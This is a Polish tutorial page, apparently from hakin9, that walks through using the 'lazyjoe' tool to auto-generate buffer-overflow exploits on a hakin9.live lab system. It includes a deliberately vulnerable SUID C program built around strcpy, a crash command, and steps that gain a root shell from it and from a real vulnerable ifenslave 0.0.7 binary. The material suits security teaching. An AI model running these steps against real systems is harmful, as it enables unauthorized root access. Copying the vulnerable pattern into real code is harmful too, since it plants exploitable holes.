index





lazyjoe tutorial







Tutorial do artykułu Automatyzacja wykorzystywania podatności w Linuksie



Niniejszy dokument jest tutorialem do artykułu Automatyzacja wykorzystywania podatności w Linuksie. Podczas opisanych ćwiczeń użyjemy opisywane w artykule narzędzie do automatycznego stworzenia eksploita do pewnego dziurawego programu.


Ćwiczenie wykonamy na komputerze zabootowanym z hakin9.live.




Prosty przykład
Przykład z życia
Kolejne próby


Prosty przykład



Na początek sprawdzimy, czy lazyjoe poradzi sobie z prostym, przykładowym programem podatnym na przepełnienie bufora.







[01]
Zapisz na dysku i obejrzyj listing vuln.c. Jest to prosty program podatny na przepełnienie bufora na stosie.


#include <string.h>

int main(int argc, char *argv[])
{
char a[256];
strcpy(a, argv[1]);
}


Jak widać, program kopiuje pierwszy argument do bufora o stałej długości bez sprawdzania, czy argument nie jest za długi. Uruchamiając go ze specjalnie przygotowanym argumentem możemy przepełnić bufor, nadpisać adres powrotu z funkcji i spowodować wykonanie dostarczonego przez nas kodu. Czy lazyjoe poradzi sobie z tym zadaniem?







[02]
Skompiluj vuln.c i ustaw mu SUID:


$ gcc vuln.c -o vuln
$ su
# chown root.root vuln
# chmod +s vuln







[03]
Upewnij się, że długi argument podany programowi vuln powoduje błąd segmentacji:


$ ./vuln `perl -e 'print("A"x300)'`










[04]
Zapisz na dysku i skompiluj program lazyjoe.c.


$ gcc lazyjoe.c -o lazyjoe







[05]
Uruchom lazyjoe nakazując mu przyjrzeć się dziurawemu programowi vuln.


$ ./lazyjoe -e ./vuln -o vuln_exploit


Użyte opcje oznaczają:

-e ./vuln - przyjrzyj się programowi ./vuln
-o vuln_exploit - wygenerowany eksploit zapisz do pliku vuln_exploit.c







[06]
Sukces.





Jak widzimy, lazyjoe poinformował nas, że:

Fast checking assumes buffer is vulnerable - pierwsza, szybka próba potwierdziła, że program jest podatny na przepełnienie bufora
Starting detailed test - rozpoczęła się właściwa, dokładna próba
Binary seems to be vulnerable at argument 1 - dokładna próba potwierdza, że program jest podatny na przepełnienie bufora przy podaniu odpowiednio długiego pierwszego argumentu
Magic distance found to be 260 - odległość od początku bufora do zapisanego adresu powrotu z funkcji wynosi 260 bajtów
Exploit code vuln_exploit1.c written successfully - kod wygenerowanego eksploita zapisano do pliku vuln_exploit1.c







[07]
Skompiluj i uruchom wygenerowanego eksploita:

$ gcc vuln_exploit1.c -o vuln_exploit
$ ./vuln_exploit


Sukces! Jak widać, dziurawy program vuln uruchomił powłokę /bin/sh (poznajemy to po znaku zachęty).





Sprawdź, czy dostałeś roota:

$ whoami





Sukces!





Przykład z życia



Teraz spróbujemy użyć lazyjoe w sytuacji bardziej zbliżonej do rzeczywistości.


Wersja 0.0.7 programu ifenslave podatna była na przepełnienie bufora. Sprawdźmy, czy lazyjoe uda się stworzyć działający eksploit...







[08]
Przejdź do katalogu /listings/ifenslave/ - znajduje się tam skompilowany program ifenslave. Należy on do roota, ma ustawiony bit SUID.







[09]
Uruchom lazyjoe nakazując mu przyjrzeć się dziurawemu programowi ifenslave.


$ lazyjoe -e ./ifenslave -o ifenslave_exploit


Sukces.










[10]
Skompiluj wygenerowany eksploit, spróbuj go uruchomić...


$ gcc ifenslave_exploit1.c -o ifenslave_exploit
$ ./ifenslave_exploit


Sukces!








Kolejne próby



W katalogu listings/vulnerable znajdziesz starsze wersje kilku popularnych narzędzi. Podobnie jak poprzednio sprawdź, które z nich są dziurawe, i wygeneruj eksploity.








Wyszukiwarka

Podobne podstrony:
index
index
index
index
index
index
index
index
index

więcej podobnych podstron